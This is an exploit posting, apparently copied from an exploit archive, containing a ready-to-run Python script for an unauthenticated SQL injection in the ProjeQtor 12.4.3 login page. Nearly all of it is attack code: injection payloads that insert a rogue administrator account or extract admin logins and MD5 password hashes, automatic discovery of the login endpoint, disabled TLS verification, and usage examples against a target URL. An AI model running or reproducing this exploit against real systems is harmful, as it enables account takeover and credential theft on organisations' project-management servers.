Share
## https://sploitus.com/exploit?id=PACKETSTORM:222884
==================================================================================================================================
    | # Title     : ProjeQtor 12.4.3 Unauthenticated SQL Injection                                                                   |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.projeqtor.com/en/                                                                                    |
    ==================================================================================================================================
    
    [+] Summary    : This Python script automates exploitation of an SQL injection vulnerability in a ProjeQtor login interface
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import argparse
    import re
    from urllib.parse import urljoin
    
    try:
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    except ImportError:
        pass
    
    PAYLOAD_CREATE_ADMIN = (
        "admin' ; INSERT INTO resource (name, login, password, profile) "
        "VALUES ('{username}', '{username}', MD5('{password}'), 1) -- "
    )
    
    PAYLOAD_EXTRACT_ADMIN = (
        "admin' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,login,password,19,20,21,22 "
        "FROM resource WHERE profile=1 AND login IS NOT NULL LIMIT 1 -- "
    )
    
    def find_login_endpoint(base_url, session, proxy):
        """Try common login paths"""
        paths = ["/login.php", "/projeqtor/login.php", "/index.php/login", "/login"]
        headers = {"User-Agent": "Mozilla/5.0"}
        
        for path in paths:
            test_url = urljoin(base_url, path)
            try:
                resp = session.get(test_url, headers=headers, proxies=proxy, verify=False, timeout=5)
                if resp.status_code == 200 and ("login" in resp.text.lower() or "password" in resp.text.lower()):
                    return test_url
            except:
                continue
        return urljoin(base_url, "/login.php")  # default guess
    
    def create_admin(target_url, username, password, proxy=None):
        """Create a new administrator account"""
        session = requests.Session()
        proxies = {"http": proxy, "https": proxy} if proxy else None
        
        login_url = find_login_endpoint(target_url, session, proxies)
        print(f"[+] Using login endpoint: {login_url}")
        
        payload = PAYLOAD_CREATE_ADMIN.format(username=username, password=password)
        data = {
            "login": payload,
            "password": "anything",
            "submit": "1"
        }
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
        
        try:
            print(f"[+] Sending CREATE ADMIN payload ...")
            resp = session.post(login_url, data=data, headers=headers, proxies=proxies, verify=False, timeout=15)
            print(f"[+] HTTP Status: {resp.status_code}")
    
            error_patterns = ["SQL syntax", "mysql_fetch", "You have an error", "Warning:"]
            for pattern in error_patterns:
                if pattern in resp.text:
                    print(f"[!] SQL error detected: {pattern}")
                    break
            else:
                print("[+] No SQL error returned โ€” injection may have succeeded.")
            
            print(f"\n[+] New admin user created (if injection worked):")
            print(f"    Username: {username}")
            print(f"    Password: {password}")
            print(f"    Login URL: {login_url}")
            return True
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def extract_admin_creds(target_url, proxy=None):
        """Extract login and MD5 password hash of first admin user"""
        session = requests.Session()
        proxies = {"http": proxy, "https": proxy} if proxy else None
        
        login_url = find_login_endpoint(target_url, session, proxies)
        print(f"[+] Using login endpoint: {login_url}")
        
        data = {
            "login": PAYLOAD_EXTRACT_ADMIN,
            "password": "anything",
            "submit": "1"
        }
        headers = {"User-Agent": "Mozilla/5.0"}
        
        try:
            print("[+] Sending EXTRACT ADMIN payload ...")
            resp = session.post(login_url, data=data, headers=headers, proxies=proxies, verify=False, timeout=15)
            patterns = [
                r'login["\']?\s*[:=]\s*["\']([a-zA-Z0-9_@.-]+)["\'].*?password["\']?\s*[:=]\s*["\']([a-f0-9]{32})',
                r'([a-zA-Z0-9_@.-]+).*?([a-f0-9]{32})',
            ]
            
            for pattern in patterns:
                matches = re.findall(pattern, resp.text, re.DOTALL | re.IGNORECASE)
                if matches:
                    for match in matches:
                        login = match[0] if len(match) > 0 else "unknown"
                        pwd_hash = match[1] if len(match) > 1 else "unknown"
                        print(f"\n[+] Extracted admin credentials:")
                        print(f"    Login    : {login}")
                        print(f"    MD5 Hash : {pwd_hash}")
                        if len(pwd_hash) == 32:
                            print(f"    (Hash can be cracked with e.g. hashcat -m 0)")
                        return True
    
            if "resource" in resp.text and "@" in resp.text:
                print("[+] Possible data leak found. Examine response manually.")
                print(resp.text[:1000])
                return True
            else:
                print("[-] No admin credentials extracted in response.")
                return False
                
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-41462 - ProjeQtor Unauthenticated SQL Injection (Unified Exploit)",
            epilog="Examples:\n"
                   "  python3 exploit.py -u http://target.com --create-admin\n"
                   "  python3 exploit.py -u http://target.com --extract-creds\n"
                   "  python3 exploit.py -u http://target.com --create-admin --username myuser --password mypass"
        )
        parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g. http://target.com)")
        parser.add_argument("--create-admin", action="store_true", help="Create a new admin account")
        parser.add_argument("--extract-creds", action="store_true", help="Extrate existing admin credentials (MD5 hash)")
        parser.add_argument("--username", default="pwned", help="Username for new admin (default: pwned)")
        parser.add_argument("--password", default="Pwned123!", help="Password for new admin (default: Pwned123!)")
        parser.add_argument("--proxy", help="Proxy (e.g. http://127.0.0.1:8080)")
        
        if len(sys.argv) == 1:
            parser.print_help()
            sys.exit(1)
        
        args = parser.parse_args()
        target = args.url.rstrip("/")
        
        print("=" * 60)
        print("CVE-2026-41462 - ProjeQtor Unauthenticated SQL Injection")
        print("Target:", target)
        print("=" * 60)
        
        if args.create_admin:
            create_admin(target, args.username, args.password, args.proxy)
        elif args.extract_creds:
            extract_admin_creds(target, args.proxy)
        else:
            print("[!] No action selected. Use --create-admin or --extract-creds")
            parser.print_help()
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================